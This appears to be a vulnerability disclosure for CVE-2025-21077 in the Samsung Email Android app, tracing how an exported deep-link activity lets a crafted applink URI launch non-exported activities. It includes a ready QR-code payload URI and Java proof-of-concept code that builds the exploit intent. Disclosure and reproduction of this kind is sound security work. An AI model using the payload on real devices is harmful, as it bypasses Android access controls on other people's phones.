wa1tf0r.me

CVE-2025-21077

Issue details: There is en exported activity in com.samsung.android.email.provider app which accepts user-controlled data.

        <activity  
            android:theme="@style/CustomEmptyTheme"  
            android:label="@string/empty_string"  
            android:name="com.samsung.android.email.provider.intelligence.bixby2.BixbyAppLinkActivity"  
            android:exported="true"  
            android:configChanges="screenSize|orientation">  
            <intent-filter>  
                <action android:name="android.intent.action.VIEW"/>  
                <category android:name="android.intent.category.DEFAULT"/>  
                <data  
                    android:scheme="applink"  
                    android:host="com.samsung.android.email.provider"/>  
            </intent-filter>  
            <meta-data  
                android:name="com.samsung.android.email.provider.core.components.name.metadata"  
                android:value="@string/email_activity_bixby_app_link_activity"/>  
        </activity>

The onCreate method of this activity calls handleIntent with a user-controlled Intent object. During the execution the data URI is extracted from the intent/** 1 **/, then split into list of path segments /** 2 **/ and switch statement is performed based on the first path segment /** 3 **/, which in this case is launch /** 4 **/. Then, the second /** 5 **/ and last path segments /** 6 **/ are sent as arguments to launchApplication /** 7 **/

      void handleIntent(android.content.Intent intent) {
          String action = intent.getAction();
          android.net.Uri uri = intent.getData(); /** 1 **/
      
          if ("android.intent.action.VIEW".equals(action)) {
              if (uri != null) {
                  java.util.List<String> pathSegments = uri.getPathSegments(); /** 2 **/
                  if (pathSegments != null) {
                      if (pathSegments.size() > 0) {
                          String firstSegment = (String) pathSegments.get(0); /** 3 **/
                          if (!android.text.TextUtils.isEmpty(firstSegment)) {
                              int hashCode = firstSegment.hashCode();
                              int switchResult;
                              switch (hashCode) {
                                  case -1109843021:
                                      if (firstSegment.equals("launch")) {
                                          switchResult = 0; /** 4 **/
                                          break;
                                      }
                                  case 3619493:
                                      if (firstSegment.equals("view")) {
                                          switchResult = 1;
                                          break;
                                      }
                                  case 95844769:
                                      if (firstSegment.equals("draft")) {
                                          switchResult = 2;
                                          break;
                                      }
                                  case 950497682:
                                      if (firstSegment.equals("compose")) {
                                          switchResult = 3;
                                          break;
                                      }
                                  case 1980393267:
                                      if (firstSegment.equals("sentbox")) {
                                          switchResult = 4;
                                          break;
                                      }
                                  default:
                                      switchResult = -1;
                              }
      
                              switch (switchResult) {
                                  case 0: 
                                      String param1 = (String) uri.getPathSegments().get(1); /** 5 **/
                                      String lastSegment = uri.getLastPathSegment(); /** 6 **/
                                      if (uri.getPathSegments().size() <= 2) {
                                          lastSegment = null;
                                      }
                                      launchApplication(param1, lastSegment); /** 7 **/
                                      break;
                                  case 1:
                                      String lastPathSegmentView = uri.getLastPathSegment();
                                      viewEmailContents(lastPathSegmentView);
                                      break;
                                  case 2:
                                      String draftId = (String) uri.getPathSegments().get(1);
                                      String accountId = (String) uri.getPathSegments().get(2);
                                      openDraftEmail(draftId, accountId);
                                      break;
                                  case 3:
                                      String lastPathSegmentCompose = uri.getLastPathSegment();
                                      openComposer(lastPathSegmentCompose);
                                      break;
                                  case 4:
                                      String lastPathSegmentSentbox = uri.getLastPathSegment();
                                      openSentBox(lastPathSegmentSentbox);
                                      break;
                              }
                          }
                      }
                  }
              }
          }
          finish();

So, based on the data URI, the handleIntent calls launchApplication with two user-controlled strings. Within launchApplication new intent is created /** 8 **/, then the last path segment is mapped from JSON /** 9 **/, as the JSON object has className key /** 10 **/ the value gets extracted /** 11 **/ and passed into intent.setClassName /** 12 **/, which then gets called with startActivity /** 13 **/

    private void launchApplication(String str, String str2) {  
        try {  
            if (Integer.valueOf(str).intValue() == -1) {  
                BixbyUtil.showToastMessage(this, getString(R.string.create_account), 1);  
            }  
        } catch (NumberFormatException unused) {  
            EmailLog.e(TAG, "launchApplication() failed, actionCode is invalid : " + str);  
        }  
        Intent intent = new Intent(this, ClassNameHandler.getClass(getString(R.string.email_activity_message_list_xl)));  /** 8 **/
        if (str2 != null) {  
            Map<String, Object> paramsFromJson = BixbyUtil.getParamsFromJson(str2); /** 9 **/ 
            if (paramsFromJson.containsKey("className")) {  /** 10 **/
                String str3 = (String) paramsFromJson.get("className");  /** 11 **/
                if (!TextUtils.isEmpty(str3)) {  
                    intent.setClassName(this, str3); /** 12 **/  
                }  
            }  
        }  
        startActivity(intent); /** 13 **/  
    }

Affected products: Samsung Email application on Android (package name: com.samsung.android.email.provider)

Steps to reproduce: Either: 1) Create a QR code with the following content: applink://com.samsung.android.email.provider/launch/pwned/{"className":"com.samsung.android.email.ui.settings.activity.PermissionActivityMain"}, scan it using the default QR code scanner that is accessible in the quick setting panel and follow the link. Observe that non-exported PermissionActivityMain is executed, bypassing Android’s standard access controls for internal app components. 2) Create a PoC application with the following code to prepare the Intent object:

// 1. Prepare payload with `className`.
String jsonPayload = "{\"className\":\"com.samsung.android.email.ui.settings.activity.PermissionActivityMain\"}";  
// 2. Construct the full deep link URI.  
// We use the payload as the last path segment.  
String vulnerableUriString = "applink://com.samsung.android.email.provider/launch/pwned/" + jsonPayload;  
// 3. Create the Intent.  
Intent exploitIntent = new Intent(Intent.ACTION_VIEW);  
// 4. Parse the string into a Uri object.   
exploitIntent.setData(Uri.parse(vulnerableUriString));  
// 5. Add this flag when starting an Activity from outside its own task.  
exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
// 6. Launch the exploit.  
startActivity(exploitIntent);

Refereces: